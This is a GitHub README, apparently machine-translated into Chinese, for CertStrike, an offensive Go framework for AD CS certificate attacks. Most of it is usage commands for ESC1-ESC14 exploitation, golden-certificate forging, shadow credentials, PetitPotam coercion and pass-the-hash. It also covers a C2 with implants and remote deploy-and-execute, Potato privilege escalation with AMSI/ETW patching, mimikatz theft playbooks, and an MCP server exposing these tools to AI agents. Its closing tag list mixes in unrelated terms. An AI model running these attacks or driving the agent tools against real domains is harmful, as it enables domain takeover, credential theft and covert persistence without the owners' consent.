loudmumble/certstrike

GitHub: loudmumble/certstrike

纯 Go 编写的 AD CS 证书服务攻击框架,覆盖 ESC1-14 全系列漏洞利用,集成证书认证 C2 与 Windows 提权模块。

Stars: 0 | Forks: 0

# CertStrike ADCS 利用与 PKI 攻击框架,集成基于证书认证的 C2。纯 Go 编写,无 CGO 依赖。 ## 功能特性 ### ADCS / PKI 利用 - **ESC1-ESC14** 完整的漏洞检测、评分与利用 - 通过 CA Web 端点 进行**真实证书注册** —— 不仅是本地伪造 - 针对 LDAP 和 HTTP 注册的 **NTLM pass-the-hash**(`--hash` 标志) - **ESC1** 错误配置模板(申请者提供 subject + 认证 EKU) - **ESC2** Any Purpose EKU 模板(申请者提供 subject) - **ESC3** 注册代理模板(两阶段:代理证书 → 代表他人注册) - **ESC4** 易受攻击的模板 ACL —— 完整的二进制 ACE 解析,WriteDACL/WriteOwner,LDAP 修改 + 自动恢复 - **ESC5** CA 上易受攻击的 PKI 对象 ACL - **ESC6** EDITF_ATTRIBUTESUBJECTALTNAME2 —— 通过 CA 注册服务标志进行 SAN 注入 - **ESC7** 易受攻击的 CA ACL —— ManageCA → 启用 ESC6 → 注册 → 自动恢复 - **ESC8** HTTP Web 注册中继检测 + PetitPotam 自动强制 - **ESC9** CT_FLAG_NO_SECURITY_EXTENSION —— UPN 交换利用及自动恢复 - **ESC10** 弱证书映射检测 - **ESC11** RPC 接口加密强制检测 - **ESC12** CA 上带有网络 HSM 密钥存储的 DCOM 接口滥用 - **ESC13** 通过 msDS-OIDToGroupLink 进行的 OID 组链接滥用 - **ESC14** 通过 altSecurityIdentities 的弱显式映射 - **黄金证书伪造** —— 自签名或使用提取的 CA 密钥签名 - **Shadow Credentials** —— msDS-KeyCredentialLink 添加/列出/删除(密钥在 LDAP 写入前持久化) - **Auto-pwn** —— 一键完成枚举 → 优先级排序 → 利用 → PKINIT 命令执行 - **PetitPotam 强制** —— 通过有状态 SMB2/DCE/RPC 会话的 MS-EFSRPC - **WebDAV 强制** —— 使用自定义端口 >1024 从非管理员跳板进行中继 ### C2 框架 - HTTP/HTTPS 监听器,支持自动生成 TLS 证书 - 会话管理:注册、轮询、命令队列、结果收集 - **证书持久化**:通过伪造证书进行 cert-auth 植入 - **轮询代理**:跨平台,支持 mTLS,支持信号感知关闭 - **文件投递**:向代理上传和部署二进制文件,支持可选执行 - 代理命令输出上限为 10MB(防止 OOM) ### SmartPotato — Windows 权限提升 - **JuicyPotato** — BITS COM 对象滥用 + 命名管道模拟 - **SweetPotato** — 通过 Print Spooler 命名管道触发器的 PrintSpoofer - **RoguePotato** — DCE/RPC OXID 解析器重定向,自动 netsh 端口代理设置/清理 - AMSI/ETW 补丁 - 基于运行中的服务自动检测最佳技术 ### 运维工具 - **项目报告** —— Markdown 格式,包含严重程度表格、攻击路径、补救措施 - **JSON 输出** —— `--json` 标志,用于流水线集成 - **PFX 导入/导出** —— 加载和检查 PKCS12 文件 - **隐蔽模式** —— 抖动 LDAP 查询,随机化页面大小 - **LDAPS/StartTLS** —— 通过 `--ldaps` / `--start-tls` 进行加密 LDAP 连接 - **MCP server** —— 5 个用于智能体集成的工具 (pki_enumerate, pki_forge, c2_*) - **TUI 操作控制台** —— 实时 C2 会话轮询、命令分发、5 个视图 - **证书窃取剧本** —— THEFT1-THEFT5,包含 certutil/mimikatz/SharpDPAPI 命令 ## 快速开始 ``` # 构建 CGO_ENABLED=0 go build -o certstrike ./cmd/certstrike # 为 Windows 构建 SmartPotato cd implants/smartpotato && GOOS=windows GOARCH=amd64 go build -o smartpotato.exe ``` ### 枚举 ``` # 基础枚举 certstrike pki --enum --target-dc dc01.corp.local --domain corp.local -u user -p pass # 使用 LDAPS certstrike pki --enum --target-dc dc01.corp.local --domain corp.local -u user -p pass --ldaps # 使用 pass-the-hash (无需明文密码) certstrike pki --enum --target-dc dc01.corp.local --domain corp.local -u user --hash aad3b435b51404eeaad3b435b51404ee # JSON 输出 certstrike pki --enum --target-dc dc01.corp.local --domain corp.local -u user -p pass --json # 隐蔽模式 (抖动查询) certstrike pki --enum --target-dc dc01.corp.local --domain corp.local -u user -p pass --stealth ``` ### 利用 ``` # --esc 接受纯数字 (1-14) 或 esc1-esc14 # ESC1 — 配置错误的模板 certstrike pki --esc 1 --template VulnTemplate --upn admin@corp.local \ --target-dc dc01.corp.local --domain corp.local -u user -p pass # ESC4 — 可写模板 ACL (修改模板, 作为 ESC1 利用, 还原) certstrike pki --esc 4 --template WritableTemplate --upn admin@corp.local \ --target-dc dc01.corp.local --domain corp.local -u user -p pass # ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 (通过请求属性进行 SAN 注入) certstrike pki --esc 6 --template AnyTemplate --upn admin@corp.local \ --target-dc dc01.corp.local --domain corp.local -u user -p pass # ESC7 — ManageCA 滥用 (启用 ESC6 → 利用 → 还原) certstrike pki --esc 7 --ca CorpCA --upn admin@corp.local \ --target-dc dc01.corp.local --domain corp.local -u user -p pass # ESC8 — 配合自动 PetitPotam 强制的 NTLM 中继 certstrike pki --esc 8 --template Machine --target-dc dc01.corp.local \ --domain corp.local -u user -p pass --listener-ip 10.0.0.5 # ESC8 — 来自非管理员跳板的中继 (WebDAV 强制到自定义端口) certstrike pki --esc 8 --template Machine --target-dc dc01.corp.local \ --domain corp.local -u user -p pass --listener-ip 10.0.0.5 --listener-port 8080 # ESC9 — UPN 交换 (修改攻击者 UPN, 注册, 还原) certstrike pki --esc 9 --template NoSecExt --upn admin@corp.local \ --attacker-dn "CN=attacker,CN=Users,DC=corp,DC=local" \ --target-dc dc01.corp.local --domain corp.local -u user -p pass # ESC13 — OID 组链接滥用 certstrike pki --esc 13 --template LinkedPolicy --upn admin@corp.local \ --target-dc dc01.corp.local --domain corp.local -u user -p pass ``` ### 自动利用 (Auto-Pwn) ``` # 全自动: 枚举 → 利用得分最高的路径 → PKINIT 命令 certstrike auto --target-dc dc01.corp.local --domain corp.local --upn admin@corp.local -u user -p pass # 试运行: 仅枚举和规划, 不进行利用 certstrike auto --dry-run --target-dc dc01.corp.local --domain corp.local --upn admin@corp.local -u user -p pass ``` ### 证书操作 ``` # 伪造黄金证书 (使用提取的 CA 密钥 + 证书) certstrike pki --forge --upn admin@corp.local --ca-key ca.key --ca-cert ca.crt --output admin # 伪造自签名证书 (用于测试) certstrike pki --forge --upn admin@corp.local --output test # 导入并检查 PFX certstrike pki --import-pfx cert.pfx certstrike pki --import-pfx cert.pfx --json # 证书窃取手册 (--theft 接受 1-5 或 all) certstrike pki --theft all certstrike pki --theft 4 # 生成项目报告 certstrike pki --report --format markdown --output findings.md \ --target-dc dc01.corp.local --domain corp.local -u user -p pass ``` ### Shadow Credentials ``` # 添加 shadow credential (私钥在 LDAP 写入前保存到磁盘) certstrike shadow --add --target "CN=victim,CN=Users,DC=corp,DC=local" \ --target-dc dc01.corp.local --domain corp.local -u user -p pass # 列出 shadow credentials certstrike shadow --list --target "CN=victim,CN=Users,DC=corp,DC=local" \ --target-dc dc01.corp.local --domain corp.local -u user -p pass # 按设备 ID 移除 certstrike shadow --remove --target "CN=victim,CN=Users,DC=corp,DC=local" \ --device-id --target-dc dc01.corp.local --domain corp.local -u user -p pass ``` ### C2 ``` # 启动 HTTPS 监听器 certstrike c2 --port 8443 --protocol https # 生成 stager 配置 certstrike c2 --generate-stager --c2-url https://c2.example.com:8443 --output stager.json # 生成 cert-auth implant (mTLS) certstrike c2 --implant-type cert-auth --upn admin@corp.local --c2-url https://c2.example.com:8443 # 运行轮询代理 certstrike agent --config stager.json # 将文件部署到活动会话 certstrike deploy --c2-url http://localhost:8443 --session \ --file ./stager --path /tmp/svc --execute # 包含实时 C2 数据的操作员控制台 certstrike console --c2-url http://localhost:8080 # 用于 Agentic 集成的 MCP server certstrike mcp ``` ## 架构 ``` cmd/certstrike/ CLI entry points (cobra) pki.go PKI enumeration, exploitation, forging, reporting autopwn.go Auto-pwn orchestration c2.go C2 listener, stager/implant generation agent.go Polling agent deploy.go File delivery to agents shadow.go Shadow credentials CLI console.go TUI operator console mcp_cmd.go MCP stdio server pkg/pki/ adcs.go LDAP enumeration, template scoring, ESC1/ESC4 exploits, cert forging enroll.go Real certificate enrollment via CA web endpoint (/certsrv/) ntlm.go NTLMv2 HTTP RoundTripper with pass-the-hash (inline MD4) coerce.go PetitPotam MS-EFSRPC coercion (stateful SMB2/DCE/RPC) esc2.go - esc14.go Individual ESC scan + exploit functions esc_relay.go ESC8/ESC11/ESC12 relay scanning (HTTP probe, RPC flag check, DCOM probe) shadow_credentials.go msDS-KeyCredentialLink operations autopwn.go Auto-pwn engine (enumerate → prioritize → exploit) report.go Markdown engagement report generation chain.go Attack path analysis and prioritization pkinit.go PKINIT command/script generation unpac.go UnPAC-the-hash command generation certtheft.go THEFT1-THEFT5 playbook security_descriptor.go Binary SD/ACE/SID parsing for ESC4/ESC5 output.go EnumerationResult struct, EnumerateAll aggregator pfx.go PFX import/export pkg/c2/ listener.go HTTP/HTTPS C2 listener with session management agent.go Polling agent with mTLS, file delivery, output limits deploy.go File delivery endpoints certauth.go Cert-auth implant generation internal/mcp/ server.go MCP JSON-RPC stdio server (5 tools) internal/tui/ app.go Bubbletea operator console with live C2 polling implants/smartpotato/ potato_windows.go JuicyPotato, SweetPotato, RoguePotato (Windows) potato_other.go Stub for non-Windows builds ``` ## 依赖 全纯 Go 编写,兼容 `CGO_ENABLED=0`: | Package | Purpose | |---------|---------| | `github.com/spf13/cobra` | CLI 框架 | | `github.com/go-ldap/ldap/v3` | 原生 LDAP 客户端 | | `github.com/charmbracelet/bubbletea` | TUI 框架 | | `github.com/charmbracelet/lipgloss` | TUI 样式 | | `software.sslmate.com/src/go-pkcs12` | PKCS12/PFX 处理 | NTLM 认证使用内置的 NTLMv2 实现及内联 MD4 —— 无外部加密依赖。
标签:ACL滥用, Active Directory, ADCS, C2框架, ESC漏洞, EVTX分析, Go语言, Modbus, PetitPotam, PE 加载器, PKINIT, Plaso, WebDAV, 免CGO, 协议分析, 反取证, 域名收集, 域渗透, 安全学习资源, 安全评估, 工控安全, 数据关联, 数据展示, 日志审计, 权限提升, 模拟器, 横向移动, 电子数据取证, 程序破解, 红队, 编程规范, 证书服务, 证据收集, 误配置预防, 超级时间线, 黄金证书